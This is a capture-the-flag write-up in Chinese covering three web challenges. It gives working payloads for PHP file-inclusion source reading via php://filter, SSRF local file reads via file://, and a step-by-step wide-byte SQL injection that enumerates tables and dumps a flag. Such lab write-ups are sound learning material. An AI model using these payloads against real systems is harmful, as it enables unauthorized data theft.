躲猫猫 50

题目链接

http://47.100.121.220:28001/01.php

解答

这个题目又是一个文件包含的题目,这里直接用

1
file=php://filter/read=convert.base64-encode/resource=./flag.php

是读不到源码的,好像是因为这题目的flag并不是在flag.php文件里,flag.php文件并不存在。

所以我们先用php://input 协议来查看当前目录文件

构造如下payload得到du0maOma0_flag.php文件

这里可以用cat du0maOma0_flag.php来读文件的,

但是一定要查看源码!查看源码!查看源码!

重要的事情说三遍!

此时也可以再利用

1
file=php://filter/read=convert.base64-encode/resource=./du0maOma0_flag.php

来读取文件源码

直接base64解码即可

02 100

题目链接

http://47.100.121.220:28002

解答

这个题目我一拿到说就看出来是一个SSRF的题目了,也猜到了代码应该就是

SSRF漏洞的利用与学习

我这篇博客里面的第一种没有任何防护的SSRF。

尝试了 利用file协议任意文件读取 是成功的

然后没有查看help 是一个phpinfo的页面 找到目录

1
WEB_DOCUMENT_ROOT 	/app

当时就尝试了 如下payload

1
http://47.100.121.220:28002/02.php?url=file:///app/flag.php

但是由于没有去查看源码,就错过了flag,然后一直在纠结利用gopher协议反弹shell

后来在甜哥的提醒下才发现可以直接读出flag的

查看源码就可以了,真的有点尴尬的。

msg_book 200

题目链接

http://47.100.121.220:28003

解答

这个题目是一个注入的题,这里的’被转义了,尝试宽字节注入,是可以的。

这里可以参考我的博客

宽字节注入漏洞的利用与学习

在引号前加一个%df即可,具体原理参考博客

下面基本是利用手注的方法

1
2
3
msg_id=1%df'order by 1 #

msg_id=1%df'order by 2 #

得到字段数为2

1
msg_id=1%df'union select 1,database() #

得到当前数据库:week05_03

1
msg_id=1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到当前数据库的表名:flag,msg_book

1
msg_id=1%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 #(flag的十六进制)

这里因为单引号被过滤了,所以要用十六进制

得到列名:flag

最后直接

1
msg_id=1%df'union select 1,flag from flag #

发现自己手注的过程还是不熟悉,需要多多练习